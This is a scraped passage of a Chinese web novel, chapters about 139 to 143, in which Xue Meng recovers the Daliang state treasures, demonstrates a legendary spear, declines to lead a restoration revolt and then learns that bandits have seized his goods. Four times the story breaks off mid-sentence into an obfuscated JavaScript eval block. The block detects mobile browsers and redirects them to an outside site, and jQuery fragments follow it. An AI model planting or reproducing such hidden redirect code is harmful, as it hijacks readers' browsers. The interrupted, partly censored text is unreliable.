就在这时,地面忽然震动起来,阵阵马蹄声骤然响起。
所有人都吃了一惊,转头循声看去,只见一个半大小子赶着马群下了山,旁边还跟着一个身穿兽皮衣,双眸清澈,气质不俗的漂亮姑娘!
看见这么多**色雪白,俊美雄健的白马,巡猎队的人眼都看直了!
“我滴个乖乖!这马可真俊!”
罗飞兴奋不已,比看见俏媳妇儿还激动!
徐守业则是老眸闪烁,若有所思:“老夫没看错的话,这应该是传说中的龙驹马!”
半大小子笑道:“老先生,你说对了!这就是龙驹马!”
“五十匹龙驹马,巡猎队每人一匹,人人都有!”
薛猛大手一挥,巡猎队众人沸腾了!
一听这话,罗飞两眼放光,连忙上前牵马。
“薛大哥,我就知道,跟着你前途无量!”
“这么好的马,人人都有!薛爷大气!!”
“跟着薛爷,吃香喝辣,还有大马骑,这神仙日子,给个县太爷我都不换呐!”
“……”
有了这些龙驹马,再披上皮甲,加上现代化的训练,巡猎队的战斗力必将迎来质的飞跃!
薛猛心中也很高兴。
但当薛猛看见萧南乐时,不由一怔,显然有些意外:“乐儿姑娘,你怎么也来了?”
如果只是送马下山,应该也用不着长公主亲自前来吧?
萧南乐挑眉道:“怎么,你不欢迎我?”
薛猛笑道:“那倒不是!只是有些意外!你们大梁族人,不是从不轻易出山的吗?”
萧南乐道:“这还要多亏了你!是你让我明白了一个道理,深居山中,终究是井底之蛙!想要光复大梁,闭门造车是行不通的,必须走出去!”
“我这次出山,一来是为了看看外面的世界,二来则是为了寻回被盗走的国宝!”
“不过,我久居山中,对外面的世界一无所知。”
“薛猛,我只认识你一个山外人!”
“作为朋友,我需要你的帮助,帮我寻找国宝!”
薛猛闻言轻笑:“那你算是找对人了!”
“不是我薛猛夸口,抓贼寻物一事,我可是专业的!”
“不过,朋友归朋友,我若是帮你找回国宝,你总得给我点什么好处吧?”
薛猛搓了搓手,眼冒精光,一副无利不起早的口气。
萧南乐一怔,随即说道:“如果你真能寻回我大梁国宝,我们大梁族人就欠下你一个天大的人情!”
“你想要什么只管说,只要我们能够办到的,都可以满足你!”
“哦?那我可得好好想想……”
薛猛略微思索了片刻,一时半会,他还真不知道想要什么。
要黄金一万两,战马一千匹,萧南乐也拿不出来啊!
“算了!等我想好再告诉你吧!我先帮你找回国宝!”
见薛猛说得轻描淡写,萧南乐蹙眉道:“你就这么自信,一定能帮我们寻回国宝?”
薛猛淡然一笑:“如果连我都找不回来,那就没人能找回来了!”
萧南乐面露狐疑,觉得薛猛有些过于自信了!
实则薛猛并没有夸口。
卧虎山的地形,他早就已经烂熟于心了!
在卧虎山这片区域,没有人能逃出他的五指山!
“你跟我来!”
薛猛带着萧南乐来到会议室,并召集了寇芳和几个巡猎队队长。
当着萧南乐的面,在沙盘上,标记出了大祭司盗走大梁国宝后的几条必经之路,给巡猎队布置了任务。
几名巡猎队队长迅速分头行动,对大祭司实施抓捕。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313103|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>寇芳也是迅速下去传令,让卧虎村附近的暗哨,严查可疑之人。
这是萧南乐第一次见到沙盘,也是第一次见到薛猛指挥行动,心中说不出的震撼。
只觉薛猛发号施令的样子,宛若传说中运筹帷幄的大将军!
而且居然有那么多的人,愿意听从他的命令!
不管最后能不能抓住大祭司,找回大梁国宝,这份人情,萧南乐都已经在心中牢牢记下!
……
“爹,咱们已经跑了这么远了,应该不会有人追上咱们了!”
“前面有个茶摊,咱们过去歇息一下,喝口水吧!”
跟着大祭司一起骑马跑路的,还有一名年轻巫师。
不为人知的是,他其实是大祭司的私生子。
大祭司勒住马缰,回头看了看身后空荡荡的乡道,果然没人追来,总算是松了口气:“呵呵,咱们能够逃出生天,还要多亏了萧复梁那个蠢货!”
“对了,那两件东西可得看好!那可都是梁朝皇帝赏赐给萧彻的镇国之宝!”
“送到北莽去,可保我父子俩一世荣华富贵!”
年轻巫师拍了拍马背上的两个兽皮袋:“放心吧爹,东西我都收好了!”
茶摊前,负责看守茶摊的宋家管家宋仁,竖起耳朵,将不远处两人的对话一字不落听了进去。
眼珠子滴溜一转。
这两人看上去形迹可疑,该不会就是薛公子要抓的人吧?
若是替薛公子抓住这两个家伙,那可是大功一件呐!
宋仁嘴角一勾,计上心头。
恰在这时,大祭司和年轻巫师先后牵着马走了过来。
“店家,来两碗茶!”
年轻巫师在茶摊前坐下,抹了把额头上的汗,瞥了眼天上毒辣的太阳,只觉口渴难耐。
“好嘞!马上就来!”
宋仁盛了两碗解暑凉茶,笑眯眯递到桌前。
年轻巫师不疑有他,端起凉茶便喝,咕嘟咕嘟,很快就把茶水喝干了!
“嗯!好茶!喝完整个人都凉快了!”
年轻巫师对凉茶赞不绝口:“爹,你也快喝喝看!这茶真解暑!”
大祭司闻言,端起茶碗也喝了起来。
喝完之后,果然周身凉快通透,暑气顿消。
不由好奇问道:“店家,这是什么茶啊?怎地如此解暑?”
宋仁笑着回道:“哦!这是我们卧虎村薛大掌柜发明的藿香正气散!”
“喝完之后,可解暑湿!近日天气毒辣,凡过往行商,喝上一碗,没有说不好的!”
薛大掌柜?
大祭司闻言一怔,脑海中不由得想起薛猛。
该不会这么巧吧?
“这薛大掌柜,叫什么名字?”
“薛大掌柜当然姓薛了,至于名字嘛,单名一个猛!”
“什么?!”
大祭司心里咯噔一下,起身欲走,可刚站起来,便觉头晕脑胀,两眼一黑,栽倒在了地上。
“爹……”
年轻巫师见状一惊,刚想去扶起大祭司,但很快也扑倒在地,不省人事。
“呵呵!”
“来人,把这两个贼人,送回卧虎村!”
宋仁脸上冷笑一声,踢了踢昏迷不醒的二人,确定二人都已经被麻翻了。
挥挥手,几名宋庄家丁立即上前,将大祭司父子二人五花大绑,抬上了板车。
连带着两匹龙驹马,也都一并带回了卧虎村。
第140章 东西很开门儿
却说另一边,萧南乐刚到卧虎村不久,本想参观参观卧虎村,不曾想萧灭虞后脚就找了过来。
身后还带着十几名白马义从,想要强行把萧南乐绑回去!
“乐儿,寻找国宝是我们大人的事情!”
“你别跟着瞎掺和,赶快跟舅舅回去!”
“你娘走得早,舅舅答应过她,一定要照顾好你!山外的世界太危险了,你要是有个三长两短,我怎么跟你娘交代!”
面对萧灭虞的“强制性”关爱,萧南乐也不甘示弱:“舅舅!我已经不是小孩子了!我知道怎么保护好自己!”
“如今我大梁国宝丢失,我身为长公主,也应当尽自己的一份绵薄之力!没找回国宝之前,我是不会回去的!”
“胡闹!”
萧灭虞沉喝一声,便要伸手强行把萧南乐抓回去。
萧南乐撒腿就跑进了薛家后院,只见薛猛正在后院里,跟几个匠人打扮的人,倒腾一堆木头和铁球。
好像是在研究什么武器。
“薛公子!救救我!”
看见薛猛,萧南乐犹如见到了救命稻草,快步跑过去,躲在了薛猛身后。
萧灭虞后脚就怒气冲冲追了进来,看见薛猛,连忙拱手恭敬道:“原来这是薛神仙府上,失敬失敬!”
“薛神仙,我这侄女不懂事,给你添麻烦了!”
“我这就把她带回去!”
说着,萧灭虞挥挥手,身后几名白马义从便要上前抓走萧南乐。
萧南乐使劲拽了拽薛猛胳膊,目露乞求,希望薛猛能够帮帮她。
然而薛猛却是默默走开。
压根没有帮她的意思。
萧南乐顿时慌了:“薛猛!你什么意思,你不是答应过,要帮助我吗?”
薛猛满脸无辜,摊摊手:“我只答应帮你找回大梁国宝,可没答应帮你对付你舅舅!”
“一码事归一码事,要我办两件事,那是另外的价钱。”
萧南乐闻言,气得咬了咬牙,这家伙,还真是无利不起早!
“你要多少钱,我都可以给你!”
“你有钱吗?”
“先欠着!”
“行吧,既然咱俩是朋友,那就给你个优惠价,五千两白银,我帮你搞定你舅舅。”
薛猛当着萧灭虞的面,毫不避讳,直接狮子大开口!
“好!五千两就五千两!”
萧南乐咬牙同意了!
下一刻,先前还事不关己高高挂起的薛猛,直接挡在了萧灭虞面前。
萧灭虞一怔:“薛神仙,这是我萧家的家事!”
“还请你不要插手!”
若是换了别人,敢挡他的路,萧灭虞早就动手了!
但是对于薛猛,他却不敢造次!
毕竟这位可是能够驱雷掣电、降龙伏虎的活神仙啊!
“萧大司马,乐儿姑娘也不小了,你没必要这么紧张!”
薛猛自信道:“我可以向你保证,她待在卧虎村,不会遇到任何危险!”
见薛猛执意要插手此时,萧灭虞一时也拿萧南乐没了辙!
“你这个死丫头,你早晚要气死我!”
有薛猛当挡箭牌,萧南乐也不怕萧灭虞了,甚至躲在薛猛身后,冲萧灭虞吐了吐舌头,做起了鬼脸。
萧灭虞气得七窍生烟,却又拿这丫头没办法。
“大司马,我看长公主跟着薛神仙,应该不会有什么危险的!要不,就让她待在这儿吧!她玩够了,自然会回去!”
这时候,身边一位白马义从,对萧灭虞劝道。
“哎!”
萧灭虞叹了口气。
不然呢,还能怎么样?
薛猛这种神仙一般的人物,他们是万万不能得罪的!
“罢了,看在薛神仙的面子上,今天就饶了你!”
萧灭虞冲萧南乐说道。
对方这么给面子,薛猛也不想让萧灭虞太难堪。
笑着给了对方一个台阶:“萧大司马,你们出来一次也不容易!”
“昨晚吃了你们许多酒肉!今天到了我的地盘,我也做一回东道主,请你们好好尝尝我卧虎村的酒肉!”
“好!那就叨扰薛神仙了!”
萧灭虞自然知道薛猛这是在照顾他的脸面,连忙顺坡下驴,拱手笑道!
一听说有酒肉吃,白马义从们纷纷咽起了口水。
很快就到了中午饭点。
薛猛就在家中设宴,宴请萧南乐、萧灭虞等人。
铁锅炒菜,摆了满满一大桌。
看着桌上香气四溢,无比丰盛的菜肴,一个个刚从山里出来的大梁人眼都看直了!
这些菜,别说吃了,以前听都没听说过!
起初,萧灭虞还端着架子,提醒大家斯文点,别丢了大梁人的脸。
但当他尝到了铁锅炒菜的滋味后,味蕾仿佛遭受到了一万点暴击!
两只眼睛都在放光!
“这……这也太好吃了吧?!”
别说萧灭虞了,就连萧南乐也顾不上矜持,吃得满嘴流油。
一群人像是饿了八辈子没吃过东西,狼吞虎咽,风卷残云,把桌上的饭菜吃了个干干净净。
先前无利不起早的薛猛,此时却很是大方:“好吃就多吃点!不够接着上!还有酒呢!”
“不用了!薛神仙,您太客气了!不过这酒就不喝了!”
萧灭虞闻言,摆手婉拒:“我们待会儿还要继续去找国宝呢!”
此言一出,桌上众人,全都黯然神伤,放下了碗筷,垂下了头。
“哎!”
“找了一上午也没见着大祭司的踪影!”
“这国宝,怕是找不回来了!”
半大小子抱怨道。
萧灭虞喝道:“萧图!你小子能不能把你那乌鸦嘴闭上!盼点好吧!”
半大小子闻言,闭上了嘴,不敢再吭声。
但其实每个人都心知肚明,天下这么大,鬼知道大祭司回跑到哪里去?
要找回国宝,无疑**捞针!
“大家不用担心!”
薛猛举起酒杯,环视众人,无比自信道:“我薛猛别的本事没有,抓贼还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313104|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是手拿把掐的!”
一旁,寇芳闻言小脸一红。
当初她和她哥寇达到薛家偷东西,已经亲身领教过薛猛的抓贼手段了!
更何况,上次夜含香从巡猎队眼皮子地下溜出村后,薛猛汲取了经验教训,让人在卧虎村外的乡道上,设置了好几处暗哨。
这些暗哨,伪装成茶摊、粥摊、酒馆,极具迷惑性!
哪怕贼人躲过了巡猎队的追捕,也很难避开这些暗哨!
现在卧虎村周边,全是薛猛的眼睛!
就连夜含香也跑不出去了!
萧灭虞闻言,只以为薛猛在安慰自己,本没有抱太大希望,但没想到,饭刚吃完不久,门外就传来推搡呵斥声。
循声抬眼看去,便见宋仁和宋庄的伙计,押着大祭司和年轻巫师,在众目睽睽之下,来到了薛猛面前。
“跪下!”
麻药药效已过,大祭司还想挣扎,却被宋庄伙计踹得跪在地上,抬眼扫视了一圈屋内的人。
一张张熟悉的面孔和喷着怒火的眼睛,让他瞬间汗流浃背!
萧灭虞看见大祭司时,先是感到难以置信。
没想到他们找了一上午都没找到的大祭司,居然真被薛猛手下的人抓了回来!
随即,再也压抑不住心中暴怒,二话不说,上去就是一脚把大祭司踹翻在地!
“**!老狗!我等供奉你为仙师,你却屡次愚弄我们!”
“不仅如此,竟还敢盗挖萧彻将军之墓,偷走我大梁镇国之宝!”
“如今落在我手,就是把你千刀万剐,也难解我心头之恨!”
“杀了他!杀了他!”
萧南乐和一群白马义从,也都是恨得咬牙切齿,恨不得马上冲上去,把这老东西**万段!
“啊!”
萧灭虞拔出腰间弯刀,手起刀落。
大祭司满脸惊恐,血溅当场,人头落地!
“薛大掌柜!这是从这两个贼人的马上找到的!”
宋仁一挥手,身后四名伙计,将两个层层包裹的兽皮袋抬了过来。
从四个伙计吃力的表情和沉重脚步,不难看出,这兽皮袋里的东西,分量不轻!
咚的一声闷响。
兽皮袋平稳落地。
薛猛一挑眉,顿时来了兴趣:“啥玩意儿这么沉?打开瞅瞅!”
几名伙计连忙上前,将兽皮层层剥开。
当兽皮袋里包裹的东西,显露而出的瞬间。
一道寒芒闪迸而出,令人不敢直视!
“嘶!”
当寒芒褪去,看清那东西后,所有人都倒吸一口凉气!
“不愧是大梁镇国之宝!”
“果然非同凡响!”
便是见过不少神兵利器的薛猛,也是被兽皮袋中的东西,惊艳到了!
这两件东西,哪怕以现代工业的角度来看,也是不可多得的宝贝!
放进国家博物馆,直接就是镇馆之宝级别!
看见这两样宝贝的刹那,薛猛脑海中直接响起了《春庭雪》。
东西很开门儿!
第141章 人枪合一!
见大家都被大梁国宝镇住了,萧灭虞颇为自豪,主动给薛猛介绍起这两件国宝。
“薛神仙,此物名曰玉龙透天枪!”
萧灭虞指着其中一件国宝,说道:“此枪枪杆长九尺,其中枪头长一尺三寸,其锋以天外陨铁打造,似一针状,锐利无比,可刺透盔甲!”
“枪锋之下开有五刃,形如龙爪,削铁如泥。”
紧接着,萧灭虞又指着另一件国宝说道:“此物名曰照夜灵光铠!”
“此甲甲片色泽青黑,灵光透亮可照毛发,材质极为坚韧,五十步外箭矢射击不透!”
“最奇的是,胸前圆护可在阳光下散发出耀眼光芒,与敌交战时,可迷惑敌人视线!”
“萧彻将军当年,就是身着照夜灵光铠,手持玉龙透天枪,胯下一匹纯种白龙驹,率领八百白马义从,所向披靡,杀得大虞五万大军不敢直缨其锋芒!!”
“这两件国宝,乃是四百年前,大梁第一名匠世家淳于家族,耗费两代人心血,打造而成!”
“据我大梁史**载,当初为了打造这两件重器,光是收集陨铁,就花费了整整十五年时间!”
说到这里,不少白马义从已是热泪盈眶。
从照夜灵光铠光可鉴人的青黑甲片之上,仿佛就能窥见大梁王朝,曾经的辉煌和鼎盛!
“不错,不错!东西很开门儿!”
看见玉龙透天枪这样的好兵器,薛猛不由得有些技痒难耐:“我可以试试这枪吗?”
“不可!”
萧灭虞闻言一惊,连忙劝阻。
薛猛道:“我只是试试,又不要你们的!”
萧灭虞还没答话,萧南乐却先开口说道:“薛公子,你有所不知,这玉龙透天枪见血太多,煞气极重!”
“自此枪问世四百年来,除了萧彻将军之外,其余妄图使用此枪者,无不是离奇惨死!”
“就连锻造此枪的淳于家族,也在此枪问世后不久,惨遭灭门!”
萧灭虞连连点头,神情无比郑重:“不错!薛神仙,我们知道你本领高强,但这玉龙透天枪确实有些邪门,您还是不要试它为好!”
薛猛闻言,哈哈大笑,又搞封建迷信?
“不就是一杆枪嘛,哪有那么邪门儿?”
“出了事,算我的!”
薛猛嘴角噙笑,一脚踢起玉龙透天枪,捉枪在手,全然不顾众人阻拦,径直来到旁边空地上。
扎稳马步,右手紧握九尺枪杆,左手虚扶中段,指节因发力而微微泛白。
阳光斜斜撒落,落在枪尖那抹冷冽的银亮上,竟似凝住了几分锐气。
忽听薛猛低喝一声,左臂猛然前推,枪杆如蛟龙出渊,带着破风的锐响直刺向前。
枪尖堪堪擦过地面青石板,溅起星点碎石。
未等势尽,薛猛狼腰急转,右脚点地一旋,**顺势横扫。
疾风呼啸,卷起阵阵烟尘,划出一道半弧形的残影!
“薛神仙,你……!”
原本还想上前劝阻薛猛的萧灭虞等人,话刚到嘴边就咽了回去。
只见眼前银光闪动,耳畔尽是“呼呼”风响。
蒙尘两百年的玉龙透天枪,仿佛重新焕发生机,在薛猛手中辗转腾挪。
时而凌厉直刺,时而刚猛横扫,时而迅疾回抽!
拨草寻蛇、蛟龙出洞!
敲山震虎、回头望月!
玉龙钻天、横扫千军!
薛猛的招式频繁变换,凌厉潇洒!
步伐犹如鬼魅,身形藏于枪影,让人看得头晕目眩,脊背发寒!
“啪!”
薛猛耍得兴起,手腕轻抖,枪尖骤然向上挑起!
只见那枪锋如雪,直指穹天,寒气逼人!
呼啸的枪风中,仿佛可以听见无数亡魂在哀嚎悲泣!
随后重重砸下。
砰!
当最后一式“力劈华山”落下,陨铁枪锋重重戳在地面。
枪杆震颤发出低沉嗡鸣,地面之上两块青石板应声开裂,裂纹延伸如蛛网。
周围众人的呼吸,仿佛都因这股骇人的力道,而凝滞了片刻!
萧灭虞汗流浃背,萧南乐目眩神惊。
一群白马义从全都愣在了原地,只觉薛猛宛若萧彻将军在世!
那杆玉龙透天枪,仿佛就是为薛猛量身定做的一般,人枪合一,所向披靡!
立于回廊檐下,偷看薛猛舞枪的夜含香和寇芳,下意识对视一眼,彼此都能看见对方眼中的惊奇和赞叹。
这才多久?
薛猛竟然就已经将盗门绝技含香步吃透,并且化用在了自己的枪法之中。
硬生生把别人的功夫,变成了自己的东西。
“好兵器!痛快!”
一套枪法施展下来,薛猛只觉浑身筋骨舒展,酣畅淋漓,对手中的玉龙透天枪更是爱不释手。
这杆枪,用起来真顺手!
可惜啊!
兵器虽好,却是人家的国宝!
花再多馒头,人家肯定也不会传递!
薛猛心中难免有些失落,那种心情,就好比试了试别人的老婆,手感很棒用起来很带劲,可自己却注定无法拥有!
“这可是真是好宝贝,你们一定要好好收藏,莫要再让人偷了去!”
就在薛猛准备将玉龙透天枪,还给萧灭虞时,萧灭虞却突然带着一群白马义从,扑通一声,折身跪倒在地。
“你们这是做什么?”薛猛一怔。
只听萧灭虞声音颤抖,眼含热泪,无比激动拱手道:“薛神仙!这玉龙透天枪,乃盖世神兵,自萧彻将军过世后,蒙尘两百年,从未有人能够驾驭!”
“今日我等观薛神仙挥使此枪,宛若萧彻将军在世,神威不凡!”
“想来是天意如此!”
“国宝被**盗走,若无薛神仙仗义出手,我们可能永远都找不回来!”
“与其将这等神兵,埋没于我等庸人之手,倒不如由薛神仙来保管!”
薛猛闻言一怔,还以为自己听错了。
这么好的宝贝,交给我来保管?
有这种好事儿?!
薛猛心中暗爽,正想答应。
却听萧灭虞话锋一转,又道:“我等斗胆,请薛神仙收下此枪,举起义旗,光复大梁!”
“我等白马义从,愿誓死追随薛神仙!”
啥玩意儿?
光复大梁?
那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313105|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不就是**吗?
“那算了!”
薛猛想都没想,直接拒绝了。
送我一杆枪,一套甲胄,就想让我带头**?
薛猛可没那么傻!
大虞虽然已经烂透了,但瘦死的骆驼比马大!
纵观历史,无论哪个朝代,最先**起义的那批人,哪个成功了?
别看大虞现在匪患四起,各地起义军闹得轰轰烈烈!
但那些起义军,有几个是真正为了老百姓出头?
其中大部分,都是和黑风岭一样的流寇土匪乌合之众,所过之处,寸草不生!
要真让这伙人**成功,夺了江山社稷,遭殃的还不是老百姓!
现在**,全是炮灰的下场!
薛猛才不想跟着瞎掺和,就算真要**,也不是现在!
薛猛此言一出,就像是一盆冷水,直接浇灭了萧灭虞等人心中刚刚燃起的火焰。
萧灭虞神情沮丧:“薛神仙,照你这么说,难道我们大梁,真的再无光复之日了吗?”
薛猛扫了跪在地上的众人一眼,反问道:“大梁有什么好的?值得你们这么惦记?”
“你们虽是大梁后人,但你们却连梁哀帝的面都没见过!说到底,你们根本算不上真正的大梁人!你们了解大梁的途径,无非就是祖先留下的史书!”
“但你们自己的史书定然是经过没话的!试想一下,大梁如果真的那么好,又怎么会被大虞覆灭?”
“如果你们**,只是为了复辟大梁,那我劝你们,还是消停消停吧!”
“历史就像滚滚江河,永远向前奔流!”
“复辟大梁,就好比要让滚滚江河之水倒流!无疑于逆天之举!”
薛猛的声音不大,但却字字如刀,将萧灭虞等人光复大梁的决心,彻底粉碎。
“薛公子,你这话太过分了吧!”
萧南乐眼角垂下一滴清泪,声音带着哭腔:“我们的族人,世世代代以光复大梁为己任!”
“正是光复大梁这个信念,支撑着我们的族群延续了两百年!”
“如果大梁注定无法光复,我们活着还有什么意义?”
“长公主说得对!!如果不能光复大梁,我们的后人难道也要像我们一样,永生永世躲藏在深山之中?”
听了萧南乐这番话,一个个大男人也都纷纷潸然泪下。
“大梁有你们这样的忠臣,是大梁的荣幸!”
“但大梁的覆灭,错不在你们,而是天命使然!”
庭院里忽而起了风,薛猛指着天上飘飞的草絮说道:“你们看,那是什么!”
“嗯?”
众人皆是一愣,没明白薛猛为何突发此问。
顺着薛猛所指的方向看去,只见半空中一根草絮随风飞舞,越飞越高。
“这不就是一根草吗?”
萧南乐面露不解。
薛猛深意一笑:“对呀!一根草,本来不会飞!可现在它却飞上了天!”
众人面面相觑,皆是满头雾水,不解其意。
萧灭虞拱手请教道:“薛神仙,我们都是粗人,你这话什么意思,我们听不懂啊!”
“还望薛神仙明示!”
第142章 秘密武器大功告成
“飞蓬遇飘风而行千里,乘风之势也!”
薛猛举目眺望着那随风而去,逐渐消失的草絮,内心感慨万千。
见大家听得满头雾水,薛猛负手轻笑道:“马有千里之程,无骑不能自往。”
“人有冲天之志,非运不能自通。”
“天不得时,日月无光。”
“地不得时,草木不生。”
“水不得时,风浪不平。”
“人不得时,利运不通。”
“无论是大梁还是大虞,都曾盛极一时!然国运衰败,必将颠覆!”
“此乃时也、运也、命也!”
“就像刚才飞走的那根草絮一样!”
“生为草絮,此为命!”
“遇风而起,此为运!”
“但不管它飞得有多高,时运一去,终究是要落地的!”
“所谓的皇图霸业,也不过如此!站在风口上,猪都能起飞!但若是时机未到,强行逆天而行,不过是自取灭亡……”
“多的我就不说了,你们自己下去沉淀吧!”
薛猛说完,也不管大家听懂没听懂,背过身去,挥了挥手。
望着薛猛高深莫测的背影,萧灭虞和萧南乐琢磨着薛猛刚才说的那些话,若有所悟。
薛公子的意思是,若想推翻大虞,现在还不是时候?
必须要在合适的时机,顺势而为,才有机会成事?
而我们现在要做到,就是静待“风起”?
“多谢薛神仙指点!”
悟出薛猛话中深意后,萧灭虞目光灼热,拱手道:“薛神仙替我们寻回国宝,这份天大的恩情,我等无以为报!”
“他日若有用得着我们的地方,我萧家军两百白马义从,但凭驱驰!”
说完,带头朝着薛猛拜了三拜,随即带着手下众人起身,欲要离去:“乐儿,你也跟我们回去吧!”
如今国宝寻回,萧南乐也没了继续留在薛家的理由,只好妥协,悻悻然跟着众人离去。
“慢着!乐儿姑娘,你先等等!”
就在这时,身后突然响起薛猛的声音。
萧南乐心中一喜,还以为薛猛舍不得自己。
转眸一看,却见薛猛伸出五根手指,提醒道:“记住,你还欠我五千两白银呢,别忘了!”
“你……哼!舅舅,咱们走!”
萧南乐冷哼一声,头也不回转身离去。
目送萧南乐气愤离去,薛猛挥手笑道:“记得常来玩儿啊!咱们卧虎村很安全!不用担心大虞朝廷发现你们!”
听到薛猛这话,萧南乐心中的气方才消了一些。
还算这家伙有点良心!
大梁国宝寻回的消息,被萧灭虞等人带回了村子,村民们皆大欢喜,纷纷对帮忙寻回国宝薛猛感恩戴德。
族母更是叮嘱萧灭虞,以后要多和薛神仙走动,搞好关系!
大梁族人长达两百年的自我封闭,就此告终。
有了族母的授意,村民们陆续走出了**凼,带着兽皮、野物、矿石、马奶酒,来到卧虎村集市,交换盐巴、黑糖、布匹。
萧南乐也时常以下山购置物资为由,到薛家来找薛猛。
一来二去,二人愈发熟悉,几乎无话不谈。
薛猛从萧南乐口中得知,卧虎村稀缺的铁矿,在贡嘎草原十分常见。
只不过他们开采能力和冶炼水平有限,没能完全开发那些深埋地底的铁矿,只能捡一些散落在外的矿石。
薛猛闻言大喜,正愁买不到优质铁矿。
这不是瞌睡来了送枕头?
薛猛当即召集了铁艺坊匠人,让他们进驻贡嘎草原,组建采矿队,指导当地村民开采铁矿!
薛猛给的待遇非常好,大梁族人纷纷踊跃报名,加入采矿队!
如此一来,卧虎村有了充足的优质铁矿来源,而大梁族人的生活条件,也得到了极大改善,再也不用过之前那种原始落后的生活了!
每次薛猛进山,慰问采矿队工作,都会受到大梁族人夹道欢迎!
不管薛猛是不是真正的神仙,都已经不重要了。
反正家家户户,都供奉着薛猛的长生牌,每日上香供奉!
萧复梁的伤势,也在薛猛的治疗下,一天天奇迹般好转。
对薛猛除了佩服,他心里还有深深的愧疚!
薛猛不仅替他疗伤,还找回了因他放走大祭司,而丢失的大梁国宝!
这份恩情,他一辈子都还不完!
“薛公子,我萧复梁这辈子没服过谁,你是第一个!”
“我是个粗人,不会说什么好听的话!”
“我欠你一条命,日后若有用得上的时候,我把这条命还给你!”
薛猛闻言苦笑摇头:“我要你的命做什么!”
“等你伤好了,我交给你一桩差事如何?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313106|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你只管说!上刀山下火海,我在所不辞!”
“没那么严重!只是帮我运货而已!”
从草原上开采的铁矿石,需要由马队驮运下山。
这期间要经过迷雾竹林,时不时会遇到山中猛兽袭击,需要一个武艺高强的人领头,保护马队安全。
而萧复梁无疑就是最佳人选!
在薛猛的开辟下,原本被视作“生人禁地”的**凼,成为了沟通老鸦坎、贡嘎草原、卧虎村的快捷通道!
解决了优质战马和优质铁矿两大难题。
卧虎村正式迎来蓬勃发展期,各项基础建设和工坊生产,推进得如火如荼!
老鸦坎畜牧基地,驯养马鹿。
铁艺坊出产铁锅、武器。
纺织坊出产夏布、绢布、蜀锦。
鱼胶坊并入制药铺,出产鲟鱼胶、藿香正气散、花蕊石散。
除了铁锅、鱼胶价格高昂,要优先供应给京城会仙楼和皇宫之外,其他的夏布、绢布,还有各种药物,薛猛走的都是平价路线,主要销往附近几座县城和乡市。
遇到看不起病的难民,还会免费施药。
不少难民望风而来,都想留在卧虎村。
时间一长,薛猛已经不知道自己手下有多少人,也不知道每天有多少银子进账。
具体的收支账目、人员调配,都有林雅娴和徐守业操持,也不需要他去操心。
他现在对钱没兴趣,一门心思扎在了鼓捣新武器上。
经过一连十多天的打磨折腾,薛猛终于制造出一台可以平替飞雷炮的秘密武器!
但这件秘密武器,除了他自己之外,没有任何人知道!
就连老白头和铁艺坊的匠人,也只负责零部件的制作,并不知道薛猛要这些零件,到底要干什么。
看着后院里用红布盖住的秘密武器!
薛猛眼中精光闪烁,嘴角笑意根本压不住。
黑风岭响马是吧?
有种过来啊!
薛猛还没高兴一会儿,便听见门外有人着急忙慌跑了进来:“薛爷,大事不好啦!”
“咱们押运铁锅、鱼胶进京的送货队,被青龙峡水匪给劫了!”
“水匪发来帖子,要我们三个时辰内,筹够五百两黄金,到风波亭赎人!”
“说是晚一个时辰,就杀一个人!直到把咱们送货队的队员全杀完为止!”
第143章 穿云箭
“什么?!”
薛猛闻言,肺都快气炸了!
“他马辣个巴子!”
“这青龙峡水匪,封锁水道,霸占水域,害得捕鱼队无鱼可打,也就算了!”
“现在居然还敢劫老子的货?!还要我拿五百两黄金赎人?”
“真把老子当肥猪宰了?”
前些天,在外探听情报的寇达,传回消息,说是黑风岭匪兵连打紫丘、隐白、清边三县,把持了蜀郡的交通要道。
旱路走不通,所以薛猛就让罗飞带队,走水路送货进京!
为了避免和青龙峡水匪撞上,罗飞他们还专门挑的晚上上路!
